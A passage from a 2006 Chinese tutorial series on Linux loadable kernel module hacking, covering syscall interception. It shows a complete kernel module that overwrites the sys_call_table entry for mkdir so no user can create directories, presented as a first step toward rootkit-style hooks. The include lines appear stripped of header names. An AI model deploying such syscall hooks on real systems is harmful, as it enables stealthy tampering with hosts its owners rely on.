Linux系统可卸载内核模块完全指南(中)
作者:IHH 来源:Silversand.net 添加时间:2006-5-26 13:57:49前面我们讲了Linux系统可卸载内核模块完全指南(上)的内容,本期我们讲中间部份的内容。
第二部分 渐入佳境
2.1 如何截获系统调用
现在我们开始入侵LKM,在正常情况下LKMs是用来扩展内核的(特别是那些硬件驱动)。然而我们的‘Hacks’做一些不一样的事情。他们会截获系统调用并且更改他们,为了改变系统某些命令的响应方式。
下面的这个模块可以使得任何用户都不能创建目录。这只不过是我们随后方法的一个小小演示。
#define MODULE#define __KERNEL__#include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[];/*sys_call_talbe 被引入,所以我们可以存取他*/int (*orig_mkdir)(const char *path);/*原始系统调用*/int hacked_mkdir(const char *path){return 0;/*其他一切正常,除了新建操作,该操作什么也不做*/}int init_module(void)/*初始化模块*/{orig_mkdir=sys_call_table[SYS_mkdir];sys_call_table[SYS_mkdir]=hacked_mkdir;return 0;}void cleanup_module(void)/*卸载模块*/{sys_call_table[SYS_mkdir]=orig_mkdir;/*恢复mkdir系统调用到原来的哪个*/} |
第 1 页,共 2 页 [1] [2]
站内搜索